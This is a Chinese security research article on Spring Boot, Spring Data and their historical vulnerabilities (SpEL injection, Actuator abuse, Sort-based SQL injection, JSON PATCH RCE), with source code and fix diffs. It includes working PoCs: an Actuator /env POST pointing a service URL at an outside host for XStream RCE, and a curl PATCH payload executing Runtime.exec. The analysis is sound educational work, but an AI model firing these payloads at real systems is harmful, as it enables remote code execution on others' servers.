← 返回列表

Spring {Boot,Data,Security} 历史漏洞研究

单站 有价值炮灰 发布 Mon, 01 May 2023 12:26:00 +0800 入库 2026-11-18T03:14:17

原创 evilpan 2023-05-01 12:26 上海

温故而知新。

上篇文章 介绍了 Spring Framework 本身的一些核心技术点以及历史上出现过的几个典型漏洞,在其末尾我们说了,Spring 生态中除了框架本身,还有许多其他流行的项目。这些项目的文档和源码见:

本文即对其中几个比较知名的项目进行介绍,同时也会对历史上出现过的漏洞进行分析和回顾。

Spring Boot 是 Spring 的核心子项目,主要目的是为了简化新建 Spring 应用的流程。在 前一篇文章中 介绍过,新建一个 Spring Web (MVC) 应用的过程还是颇为繁琐的,Spring Boot 的出现极大简化了这个过程。其中包含的特性包括:

新建一个 Spring 项目,可以直接通过 start.spring.io[3] 去勾选需要的依赖,然后就可以下载 Maven 或者 Gradle 的工程目录文件,在其中添加自己的业务代码去构建应用。在本节中主要使用 spring-boot-starter-web 为起始工程进行代码编写和分析。

国内用户可以通过 start.springboot.io[4] 镜像进行加速。

参考:

在新建的工程中有以下的示例代码:

@RestController
@SpringBootApplication
public class SpringBootDemoApplication {
    @RequestMapping("/")
    public String index() {
        return "hello";
    }
    public static void main(String[] args) {
        SpringApplication.run(SpringBootDemoApplication.class, args);
    }
}

其中 RestController 和 RequestMapping 已经介绍过,为 Spring MVC 中用于提供 Web 请求的描述。而 @SpringBootApplication 这个注解是一个元注解,结合了 SpringBootConfiguration、EnableAutoConfiguration 和 ComponentScan 注解,如下所示:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@SpringBootConfiguration
@EnableAutoConfiguration
@ComponentScan(excludeFilters = { @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),
        @Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) })
public @interface SpringBootApplication {
    // ...
}

本节主要介绍的就是 EnableAutoConfiguration 注解。自动配置是 Spring Boot 中的一个重要功能,其模块代码在 spring-boot-project/spring-boot-autoconfigure[10] 中,基于 spring-factories 机制。Spring Boot 启动时会遍历 CLASS_PATH 中所有的 MATA-INF/spring.factories 文件,读取其中 key 为 org.springframework.boot.autoconfigure.EnableAutoConfiguration 的配置并返回一个去重、排序、过滤之后的列表。该列表在 Spring Boot 上下文刷新时进行解析 (ConfigurationClassPostProcessor)。

Spring Boot 中给出的 starter 中基本上都带有对应的 factories 文件指定对应的自动配置选项,对于 starter 以外的 jar 依赖也会尽量去安装预置规则去进行配置。以阿里开源的数据库连接池 druid[11] 为例,其对应文件如下:

$ cat druid-spring-boot-starter/src/main/resources/META-INF/spring.factories
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure

EnableAutoConfiguration 对应 DruidDataSourceAutoConfigure,如下所示:

@Configuration
@ConditionalOnClass(DruidDataSource.class)
@AutoConfigureBefore(DataSourceAutoConfiguration.class)
@EnableConfigurationProperties({DruidStatProperties.class, DataSourceProperties.class})
@Import({DruidSpringAopConfiguration.class,
        DruidStatViewServletConfiguration.class,
        DruidWebStatFilterConfiguration.class,
        DruidFilterConfiguration.class})
public class DruidDataSourceAutoConfigure {
    private static final Logger LOGGER = LoggerFactory.getLogger(DruidDataSourceAutoConfigure.class);
    @Bean(initMethod = "init")
    @ConditionalOnMissingBean
    public DataSource dataSource() {
        LOGGER.info("Init DruidDataSource");
        return new DruidDataSourceWrapper();
    }
}

注: 新版本的扫描的是 jar 包中的 META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports 文件,比如 spring-boot-autoconfigure 以及 spring-boot-actuator-autoconfigure 这些内置的 starter。参考 创建你自己的自动配置[12]。

另外对于需要用户指定的配置信息,如账号密码登录,可以通过 @ConfigurationProperties 将配置绑定为对象,然后引入 starter 依赖的开发者通过 yaml 等方式指定对应值进行依赖注入。还是以 druid 为例:

@ConfigurationProperties("spring.datasource.druid")
public class DruidDataSourceWrapper extends DruidDataSource implements InitializingBean {
    @Autowired
    private DataSourceProperties basicProperties;
    @Override
    public void afterPropertiesSet() throws Exception {
        //if not found prefix 'spring.datasource.druid' jdbc properties ,'spring.datasource' prefix jdbc properties will be used.
        if (super.getUsername() == null) {
            super.setUsername(basicProperties.determineUsername());
        }
        // ...
    }
}

配置文件:

spring.datasource.druid.url= # or spring.datasource.url=
spring.datasource.druid.username= # or spring.datasource.username=
spring.datasource.druid.password= # or spring.datasource.password=
spring.datasource.druid.driver-class-name= # or spring.datasource.driver-class-name=

配置文件也可以使用 YAML 格式,对于属性的指定 Spring Boot 提供了宽松的绑定原则,上面是 kebab 格式表示,同时也可以使用标准的驼峰语法或者类似环境变量的大写加下划线格式,细节可以参考官方文档。

总而言之,自动配置基于 “约定优于配置” 的原则,简化开发者配置配置 Bean 依赖注入的过程,这背后 Spring Boot 承担了大部分粗活累活,达到开箱即用的效果。开发者同样可以手动禁用(exclude)某些自动配置类,甚至提供手动配置的功能。

Spring Boot 的另外一大特性是支持将应用打包为独立可执行的 jar/war,脱离额外的 Servlet 容器依赖方便快速部署执行。还是以前面的脚手架工程为例,打包成 jar 文件后我们可以直接执行:

$ ./mvnw package
$ java -jar target/SpringBootDemo-0.0.1-SNAPSHOT.jar

查看该 jar 包的 META-INF/MANIFEST.MF 文件:

Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.3.0
Build-Jdk-Spec: 17
Implementation-Title: SpringBootDemo
Implementation-Version: 0.0.1-SNAPSHOT
Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.springbootdemo.SpringBootDemoApplication
Spring-Boot-Version: 3.0.6
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Spring-Boot-Layers-Index: BOOT-INF/layers.idx

可以发现其启动类为 org.springframework.boot.loader.JarLauncher,为什么不是我们应用的 SpringBootDemoApplication 呢?从源代码中可以看到,JarLauncher 实际上是通过自定义 ClassLoader 的方式去加载用户代码和资源文件的,这部分逻辑在 spring-boot-loader 模块中。

其关键加载类为 org.springframework.boot.loader.LaunchedURLClassLoader,这是 java.net.URLClassLoader 的子类,通过 URL 去指定 jar 进行加载。在标准的 JDK 中,使用 JarURLConnection[17] 来表示一个 jar 包,示例如下:

URL url = new URL("jar:file:/home/duke/duke.jar!/");
JarURLConnection jarConnection = (JarURLConnection)url.openConnection();
Manifest manifest = jarConnection.getManifest();

JAR URL 的格式为 jar:<url>!/{entry},使用 !/ 表示 jar 内部的文件。Spring Boot Loader 拓展了这个 URL 规范,支持多级的 !/ 路径,以实现 jar in jar 的功能,比如:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/lib/spring-beans-6.0.8.RELEASE.jar!/META-INF/MANIFEST.MF
最终使用该 ClassLoader 获取真正的启动类 SpringBootDemoApplication 并反射执行其 main 函数,通过动态调试也可以验证该执行流程:

main:18, SpringBootDemoApplication (com.example.springbootdemo)
...
invoke:568, Method (java.lang.reflect)
run:49, MainMethodRunner (org.springframework.boot.loader)
launch:95, Launcher (org.springframework.boot.loader)
launch:58, Launcher (org.springframework.boot.loader)
main:65, JarLauncher (org.springframework.boot.loader)

除此之外,Spring Boot 中还有许多方便的特性,在后文遇到时再进行介绍。

出现在 Spring Boot 中的历史漏洞似乎不是很多,因为它只是一个针对 Spring Framework 的浅层封装,实际功能又依赖于其他的组件或者 Starter,因此更多问题可能出在依赖上。

该漏洞是一个 SpEL 表达式注入漏洞,位于 Spring Boot 的默认错误模版中。所谓错误模版是指 Spring Boot 在遇到程序抛出非预期的异常时,会将其封装为统一的报错页面返回,这样可以防止通过出错的堆栈信息造成的信息泄露,例如对于 Accept 格式为 HTML 的请求错误,会返回以下 SpelView:

// org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
@Configuration
@ConditionalOnProperty(prefix = "server.error.whitelabel", name = "enabled", matchIfMissing = true)
@Conditional(ErrorTemplateMissingCondition.class)
protected static class WhitelabelErrorViewConfiguration {
private final SpelView defaultErrorView = new SpelView(
    "<html><body><h1>Whitelabel Error Page</h1>"
        + "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
        + "<div id='created'>${timestamp}</div>"
        + "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
        + "<div>${message}</div></body></html>");
    
    // ...
}

其中 SpelView 的参数 message 部分是具体的出错信息,但是这部分作为字符串已经被解析了似乎不存在问题。但实际问题就出现在这个 SpelView 中,该类解析模版的方式如下:

// org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
/**
 * Simple {@link View} implementation that resolves variables as SpEL expressions.
 */
private static class SpelView implements View {
  private final StandardEvaluationContext context = new StandardEvaluationContext();
  SpelView(String template) {
    this.template = template;
    this.context.addPropertyAccessor(new MapAccessor());
    this.helper = new PropertyPlaceholderHelper("${", "}");
    this.resolver = new SpelPlaceholderResolver(this.context);
  }
  @Override
  public void render(Map<String, ?> model, HttpServletRequest request,
      HttpServletResponse response) throws Exception {
    if (response.getContentType() == null) {
      response.setContentType(getContentType());
    }
    Map<String, Object> map = new HashMap<String, Object>(model);
    map.put("path", request.getContextPath());
    this.context.setRootObject(map);
    String result = this.helper.replacePlaceholders(this.template, this.resolver);
    response.getWriter().append(result);
  }
}

其 render 函数会通过 PropertyPlaceholderHelper.replacePlaceholders 将模版中 ${} 包裹的内容替换为 SpEL 解析执行后的内容,但这个替换过程是递归的,也就是说如果解析后的内容仍然包括 ${},会被再次解析,从而造成表达式注入。

上述代码为 v1.3.0.RELEASE

这个漏洞最初的修复是通过将解析方式修改成非递归(见末尾的链接),不过在最新版中进行了大刀阔斧的修改,摒弃了这个漏洞百出的 SpelView,转而使用更为简洁的 StaticView:

private static class StaticView implements View {
    private static final MediaType TEXT_HTML_UTF8 = new MediaType("text", "html", StandardCharsets.UTF_8);
    private static final Log logger = LogFactory.getLog(StaticView.class);
    @Override
    public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
            throws Exception {
        if (response.isCommitted()) {
            String message = getMessage(model);
            logger.error(message);
            return;
        }
        response.setContentType(TEXT_HTML_UTF8.toString());
        StringBuilder builder = new StringBuilder();
        Object timestamp = model.get("timestamp");
        Object message = model.get("message");
        Object trace = model.get("trace");
        if (response.getContentType() == null) {
            response.setContentType(getContentType());
        }
        builder.append("<html><body><h1>Whitelabel Error Page</h1>")
            .append("<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>")
            .append("<div id='created'>")
            .append(timestamp)
            .append("</div>")
            .append("<div>There was an unexpected error (type=")
            .append(htmlEscape(model.get("error")))
            .append(", status=")
            .append(htmlEscape(model.get("status")))
            .append(").</div>");
        if (message != null) {
            builder.append("<div>").append(htmlEscape(message)).append("</div>");
        }
        if (trace != null) {
            builder.append("<div style='white-space:pre-wrap;'>").append(htmlEscape(trace)).append("</div>");
        }
        builder.append("</body></html>");
        response.getWriter().append(builder.toString());
    }
    // ...
}

可以看到还顺便修复了潜在的 XSS 风险。

更多该漏洞的信息可以参考:

该漏洞是 Spring Boot Actuator 命令执行漏洞。spring-boot-actuator 模块提供了一些额外功能,用于帮助管理员在生产环境监控和管理应用。在之前 Java 安全研究初探 中说过,Java EE 应用监控和管理主要使用 JMX 即 Java 管理拓展,将需要对外暴露的信息或者管理接口通过 MBean 进行封装和注册,然后客户端使用 JMX 等协议进行访问。Spring Boot Actuator 就是基于 JMX 实现的一套框架。

Actuator 的英文翻译为致动器,可以想象成多级齿轮中半径较小的组件,可以从较小的变化引发大齿轮较大的传动。

在 Spring Boot 应用中可以通过 starter 项目引入 actuator 模块,如下所示:

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>
</dependencies>

同样可以通过 Spring Boot 的自动装配功能进行配置。HTTP 的接口是没有鉴权的(先不考虑 Spring Security),因此默认情况下只有 /health 通过 HTTP 接口暴露。我们可以通过 application.properties 启用/禁用某些管理端点,例如:

management.endpoint.shutdown.enabled=true
management.endpoints.web.exposure.include=*

表示启用 shutdown 端点,并将所有已启用的端点暴露到 HTTP 接口。在上面的配置下,我们可以通过 HTTP GET /actuator/env 获取环境变量信息,也可以通过 POST /actuator/shutdown 之间关闭应用。

$ curl -i 
HTTP/1.1 200
Content-Type: application/vnd.spring-boot.actuator.v3+json
Transfer-Encoding: chunked
Date: Sun, 23 Apr 2023 03:00:43 GMT
{"message":"Shutting down, bye..."}

http://localhost:8080/actuator/shutdown -XPOST
可见通过 Actuator 的 HTTP 协议暴露管理接口是比较危险的,JMX 协议由于有账号密码的要求还相对安全一些,而且 JMX 也是默认关闭的,需要通过配置 spring.jmx.enabled 为 true 进行启用。

背景就先介绍到这里,接着看漏洞本身。说实话这个漏洞更多是配置失误而不是应用逻辑错误,早期 Spring Boot 对于这些 Actuator 并没有保护,任意用户都可以访问。因此在 Exploiting Spring Boot Actuators 一文中作者对暴露的端点进行分析发现有部分端点可以被滥用造成更大的危害。

首先,对于 /env 端点,除了可以获取环境变量,还能获取 @ConfigurationProperties 的属性,同时支持通过 POST 请求对这些属性进行修改。这里的利用思路是对于依赖 Spring Cloud 的应用,修改其 serviceURL,如下:

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=

http://evilpan.com/n/xstream
配合 Eureka-Client 低版本的 XStream 反序列实现 RCE。当然这只是其中一种利用方式,还可以通过 /configprops 端点获取所有属性列表,从中发掘可以进一步利用的属性。

另外当时作者还提出了一种针对 jolokia 的利用,其与 actuator 相比功能更为强大,支持使用 HTTP 实现 JMX 的大部分操作,因此造成的危害也就更大一些,不过这个跟 Spring Boot 关系不大就不深入了。

参考文章:

Spring Data,顾名思义与数据库相关。作为一个 Web 框架,不可避免地需要面临数据存储、修改、查询等功能,这也是大部分 CRUD 工程师的日常。因此 Spring Data 的目标就是为不同的数据库后端提供一套相对统一的数据访问方案,包括 mySQL、MongoDB、Redis、LDAP 等等。

值得一提的是,Spring Data 并不是一个单一的项目,而是一个综合项目,不同的数据库后端会分别有单独的代码仓库,比如 spring-data-ldap、spring-data-redis 等。除了官方支持的项目,还有许多社区实现的项目,比如 spring-data-solr、spring-data-neo4j 等,完整的列表可以参考 Spring Data Overview[28]。

虽然 Spring Data 中不同项目有不同的代码仓库,但是项目之间会有大部分共享的代码,这部分代码存放在单独的 spring-data-commons[29] 仓库中,通常称为 Spring Data Commons,包含了对象映射、创建、查询等常见的接口和实现。本节就对其进行简单介绍。

Spring Data 的一个核心功能是对象映射,即创建对应业务数据结构实例,并将本地数据中的数据结构映射到这些实例上。这分为两个步骤,首先是通过反射创建对象,然后填充对象内部的属性值。不过由于反射开销较大,因此 Spring Data 进行了一些优化,比如创建对象会在运行时生成一个对应的工厂类 ObjectInstantiator,填充属性也是使用类似的动态生成 PropertyAccessor 类避免反射调用。

另一个重要功能是对于数据访问的抽象中心接口,Spring Data Repository。这里面主要是一些模版代码,例如 CrudRepository 的接口就为被管理的实体类提供常见的增删改查功能:

public interface CrudRepository<T, ID> extends Repository<T, ID> {
  <S extends T> S save(S entity);      
  Optional<T> findById(ID primaryKey); 
  Iterable<T> findAll();               
  long count();                        
  void delete(T entity);               
  boolean existsById(ID primaryKey);   
  // … more functionality omitted.
}

类似的模版基类还有:

对于开发者而言,要为业务数据类接入 Spring Data 并实现增删改查的功能,一般都需要继承自某个 Repository 并定义自己的接口和查询方法。

interface PersonRepository extends Repository<Person, Long> {
    List<Person> findByAddressZipCode(ZipCode zipCode);
}

没错,只有接口,没有实现!Spring Data 中有比较复杂的策略去实现用户定义的查询方法,比如对上面的查询代来说,假设 Person 类有一个 Address 类型的字段,且 Address 类中又有一个 ZipCode 类型的字段,上述查询方法的实现是首先会判断 Person 中是否有名为 AddressZipCode 的属性,如果没有则会按照驼峰分隔属性去查询,从右边开始,即 AddressZip 和 Code,最后为 Address 和 ZipCode,因此最终实现 persion.address.zipCode 的遍历查询。同时也支持使用下划线 _ 明确指定分隔点,比如 findByAddress_ZipCode。

那这个是怎么实现的呢?详细的分析比较复杂,简单来说就是通过动态代理完成的。Spring 在启动时会扫描所有的类,并找出其中由我们定义的并继承自 Repository 的接口。并针对每个接口创建一个动态代理以及其他实例,其中动态代理为 JdkDynamicAopProxy,拦截 PersonRepository 的所有方法并根据方法名实现对应逻辑,这个过程也称为 CriteriaQuery。

值得一提的时,Spring 在启动时加载 Bean 的过程中,会将对应方法使用正则表达式进行解析并存储到 PartTree 中,该类关键代码如下:

package org.springframework.data.repository.query.parser;
// ...
public class PartTree implements Streamable<OrPart> {
  private static final String KEYWORD_TEMPLATE = "(%s)(?=(\\p{Lu}|\\P{InBASIC_LATIN}))";
  private static final String QUERY_PATTERN = "find|read|get|query|search|stream";
  private static final String COUNT_PATTERN = "count";
  private static final String EXISTS_PATTERN = "exists";
  private static final String DELETE_PATTERN = "delete|remove";
  private static final Pattern PREFIX_TEMPLATE = Pattern.compile(
      "^(" + QUERY_PATTERN + "|" + COUNT_PATTERN + "|" + EXISTS_PATTERN + "|" + DELETE_PATTERN + ")((\\p{Lu}.*?))??By");
  public PartTree(String source, Class<?> domainClass) {
    Assert.notNull(source, "Source must not be null");
    Assert.notNull(domainClass, "Domain class must not be null");
    Matcher matcher = PREFIX_TEMPLATE.matcher(source);
    if (!matcher.find()) {
      this.subject = new Subject(Optional.empty());
      this.predicate = new Predicate(source, domainClass);
    } else {
      this.subject = new Subject(Optional.of(matcher.group(0)));
      this.predicate = new Predicate(source.substring(matcher.group().length()), domainClass);
    }
  }
  // ...
}

这个基础设施是 Spring Data 使用起来如此简洁的原因,但从另一方面来说,这部分复杂性其实是由框架的开发者无私地承担了。更多

之前在 Java 安全研究初探 中有介绍过 JDBC,这是 Java EE 访问数据库的标准,通过对接不同后端数据库的 JDBC Driver 来实现针对不同数据库的统一访问接口。那么 JPA 又是什么呢?

JPA 的全称为 Java Persistence API,也是 Java EE 标准 JSR-338[32] 的一部分。主要作为应用程序对关系型数据的持久化和查询管理接口。JPA 的 API 在包 javax.persistence 中,将数据库表中的每一项(行)数据抽象为 Entity,实现示例如下:

@Entity
public class User {
    @Id
    private long id;
    private String name;
    private int age;
}

JPA 管理实例主要通过 EntityManager 接口,该类除了提供 persist、add、find、remove 等数据库常见操作,还提供了基于 JPQL(Java Persistence query language) 作为简单的查询语言。以上面的 User 表为例,查询所有年龄大于 18 的用户示例如下:

TypedQuery<User> query = em.createQuery(
    "SELECT u FROM User u WHERE u.age >= :age",
    User.class
);
query.setParameter("age", 18);
List<User> results = query.getResultList();

这里只需要对 JPA 有个大致了解,详细的内容可以参考下述链接:

回到 Spring Data 本身,spring-data-jpa 项目就实现了以 JPA 为底座的封装。其中主要的是 JpaRepository 接口,该接口继承自前面说过的 ListCrudRepository。

一般使用 @EnableJpaRepositories 配置来启用 Spring Data JPA Repository,同时指定 DataSource 和 LocalContainerEntityManagerFactoryBean。当然使用 XML 也可以,但不是很推荐。

上节说过 Spring Data 会通过动态代理去注入 Repository 的实例,对于 JPA 来说有一个额外的 SimpleJpaRepository 作为默认实现:

@Repository
@Transactional(readOnly = true)
public class SimpleJpaRepository<T, ID> implements JpaRepositoryImplementation<T, ID> {
    // ...
}

类的继承结构如下:

默认实现使用 EntityManager 去实现 CrudRepository 接口,比如 save 接口的实现如下:

@Transactional
@Override
public <S extends T> S save(S entity) {
  Assert.notNull(entity, "Entity must not be null");
  if (entityInformation.isNew(entity)) {
    em.persist(entity);
    return entity;
  } else {
    return em.merge(entity);
  }
}

而对于用户定义的接口,同样是基于 AOP 实现。

JPA 作为抽象层,通常还需要对接具体的数据持久化接口实现,比如 Hibernate (HibernateJpaVendorAdapter),而且由于抽象程度太深,因此往往概念上很简单的一件事在 JPA 上会显得很复杂和混乱。如果开发者更偏向于浅层抽象,希望 SQL 更加可控,通常会选择基于 JDBC 接口的实现,即 spring-data-jdbc。随着功能逐渐完善,现在代码仓库已经改名为 spring-data-relational,以实现更广泛的关系型数据库支持。

参考链接:

本节分析几个 Spring Data 项目中出现过的历史漏洞。

在 Spring Data 中有个工具类 QueryUtils,内部代码可以使用它来生成 SQL 语句,比如下面的代码用来生成排序语句:

QueryUtils.applySorting("select person from Person person", new Sort("firstName"))
上述例子中 firstName 是会被传入生成的 SQL 语句的,而且由于 Sort 类的构造函数并没有对参数进行过滤,如果这个参数可以被用户控制,就有可能造成 SQL 注入的风险。

当然,由于这只是一个内部工具类,并没有直接造成风险,但有部分代码会间接使用到该方法。例如,有下述 Repository:

interface PersonRepository extends PagingAndSortingRepository<Person, Long> {
  
  @Query("SELECT person FROM Person person WHERE " +
      "LOWER(person.firstName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) OR " +
      "LOWER(person.lastName) LIKE LOWER(CONCAT('%',:searchTerm, '%'))")
  List<Person> findBySearchTerm(@Param("searchTerm") String searchTerm, Sort sort);
}

提供了一个搜索姓名的接口,然后在 Spring Web 中使用该接口进行查询,同时也指定通过姓氏来排序:

@RequestMapping("/personfind")
public Iterable<PersonDTO> personFind(@RequestParam(value="order", defaultValue="firstName") String order,
                                      @RequestParam(value="term" ) String term) {
  Iterable<Person> persons = personRepo.findBySearchTerm(term, new Sort(order));
  // ...
}

这是个很常见的用法。在这种场景下,Spring Data 背后会构造 applySorting 调用,且参数没有被过滤,从而造成 SQL 注入。调用链路有点长,就不一步步分析了,直接打个断点看栈回溯:

@org.springframework.data.jpa.repository.query.QueryUtils.applySorting()
at org.springframework.data.jpa.repository.query.AbstractStringBasedJpaQuery.doCreateQuery(AbstractStringBasedJpaQuery.java:78)
at org.springframework.data.jpa.repository.query.AbstractJpaQuery.createQuery(AbstractJpaQuery.java:176)
at org.springframework.data.jpa.repository.query.JpaQueryExecution$CollectionExecution.doExecute(JpaQueryExecution.java:114)
at org.springframework.data.jpa.repository.query.JpaQueryExecution.execute(JpaQueryExecution.java:78)
at org.springframework.data.jpa.repository.query.AbstractJpaQuery.doExecute(AbstractJpaQuery.java:102)
at org.springframework.data.jpa.repository.query.AbstractJpaQuery.execute(AbstractJpaQuery.java:92)
at org.springframework.data.repository.core.support.RepositoryFactorySupport$QueryExecutorMethodInterceptor.doInvoke(RepositoryFactorySupport.java:482)
at org.springframework.data.repository.core.support.RepositoryFactorySupport$QueryExecutorMethodInterceptor.invoke(RepositoryFactorySupport.java:460)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.data.projection.DefaultMethodInvokingMethodInterceptor.invoke(DefaultMethodInvokingMethodInterceptor.java:61)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99)
at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:280)
at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.dao.support.PersistenceExceptionTranslationInterceptor.invoke(PersistenceExceptionTranslationInterceptor.java:136)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.data.jpa.repository.support.CrudMethodMetadataPostProcessor$CrudMethodMetadataPopulatingMethodInterceptor.invoke(CrudMethodMetadataPostProcessor.java:133)
...

以上述 PoC 为例,我们请求为:

curl -i 'http://localhost:8080/personfind?term=uppu&order=firstName%20XXX'
合法的 order 后部分的内容就会传入 SQL 请求中,造成下面的出错信息:

org.hibernate.hql.internal.ast.QuerySyntaxException: unexpected token: XXX near line 1, column 202 [SELECT person FROM poc.Person person WHERE LOWER(person.firstName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) OR LOWER(person.lastName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) order by person.firstName XXX asc]
该漏洞的修复分为几个部分,一是增加了 unsafe、unsafeOrder 等方法显示提示潜在的 SQL 注入,二是在原本的 Order 类中增加了正则表达式对属性进行过滤:

index 3825b10d..f40c0426 100644
--- a/src/main/java/org/springframework/data/jpa/repository/query/QueryUtils.java
+++ b/src/main/java/org/springframework/data/jpa/repository/query/QueryUtils.java
@@ -102,6 +105,10 @@ public abstract class QueryUtils {
        private static final int QUERY_JOIN_ALIAS_GROUP_INDEX = 2;
        private static final int VARIABLE_NAME_GROUP_INDEX = 4;
+       private static final Pattern PUNCTATION_PATTERN = Pattern.compile(".*((?![\\._])[\\p{Punct}|\\s])");
+       private static final String FUNCTION_ALIAS_GROUP_NAME = "alias";
+       private static final Pattern FUNCTION_PATTERN;
+
        static {
                StringBuilder builder = new StringBuilder();
@@ -145,6 +152,13 @@ public abstract class QueryUtils {
                builder.append("\\)");
                CONSTRUCTOR_EXPRESSION = compile(builder.toString(), CASE_INSENSITIVE + DOTALL);
+
+               builder = new StringBuilder();
+               builder.append("\\s+"); // at least one space
+               builder.append("\\w+\\([0-9a-zA-z\\._,\\s']+\\)"); // any function call including parameters within the brackets
+               builder.append("\\s+[as|AS]+\\s+(?<" + FUNCTION_ALIAS_GROUP_NAME + ">[\\w\\.]+)"); // the potential alias
+
+               FUNCTION_PATTERN = compile(builder.toString());
        }

关于该漏洞的详细分析、利用以及完整修复细节可以参考以下链接:

Spring Data REST 也是 Spring Data 家族里的一个项目。官网的解释是,该项目用于方便搭建 hypermedia-driven REST web services,即超媒体驱动的 Web 服务。这类服务又称为 Hypermedia as the Engine of Application State (HATEOAS)[44]。hypermedia 与 hypertext 相对,个人理解是表示背后的载体。直接看例子可能更清楚一些,下面是一个简单的示例:

@CrossOrigin
@RepositoryRestResource(path = "people")
public interface PersonRepository extends CrudRepository<Person, Long> {
  List<Person> findByLastname(String lastname);
  @RestResource(path = "byFirstname")
  List<Person> findByFirstnameLike(String firstname);
}
@Configuration
@EnableMongoRepositories
class ApplicationConfig extends AbstractMongoConfiguration {
  @Override
  public MongoClient mongoClient() {
    return new MongoClient();
  }
  @Override
  protected String getDatabaseName() {
    return "springdata";
  }
}

使用 @RepositoryRestResource 表示对应 Repository 由 REST 驱动,配置后端使用 MongoDB。客户端可以通过请求直接进行查询:

curl -v "http://localhost:8080/people/search/byFirstname?firstname=Oliver*&sort=name,desc"
同样也可以实现其他常见的数据操作。关于具体的介绍以及示例可以参考下面的链接:

Spring Data REST 中提供了许多 REST 接口,可以用 HTTP 请求实现数据的增删改查。比如使用 GET 请求查询数据,POST 请求修改数据,PUT 请求新增数据,等等。其中有一个鲜为人知的是 HTTP PATCH[49] 请求,用于对数据进行部分修改。

漏洞就出现在 Spring Data REST 对 PATCH 请求的实现上。在实现部分更新时,代码中使用了 SpEL 表达式来解析 path 的值,PoC 如下:

$ curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"id\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
具体代码就不讲解了,可以直接从 JsonPatch 的调用链路大致看出代码执行的逻辑:

@org.springframework.expression.spel.standard.SpelExpression.toTypedValue()
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:439)
at org.springframework.data.rest.webmvc.json.patch.PatchOperation.setValueOnTarget(PatchOperation.java:167)
at org.springframework.data.rest.webmvc.json.patch.ReplaceOperation.perform(ReplaceOperation.java:41)
at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64)
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91)
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:206)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.read(PersistentEntityResourceHandlerMethodArgumentResolver.java:184)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.resolveArgument(PersistentEntityResourceHandlerMethodArgumentResolver.java:141)
at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:121)
at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:158)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:128)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)

因此该漏洞当时的修复是在解析表达式前先判断 path 是否是目标对象上的合法路径。关于该漏洞的细节、PoC 以及修复可以参考下面的链接:

Spring Data Commons 或者 Spring Data REST 都可以支持 Web 数据绑定对象。当请求数据格式为 XML 时,可以配置为使用 XMLBeam 组件去实现。这个漏洞实际上是 XMLBeam 的 XXE 漏洞,只不过因为 Spring Data 间接依赖了有漏洞的组件才导致被影响。由于不是 Spring Data 本身的问题,这里就不细说了,详情可以参考:

我们在上篇文章 Spring Framework 历史漏洞研究 中说过,对于某些格式的请求处理函数,Spring 框架可以将 HTTP 请求转换为对应的 Bean 对象,这个过程称为对象绑定。绑定对象的过程并不总是那么直观,有的可以在 Spring 框架中完成,有的则是通过自动装配去启用特殊的绑定方法。

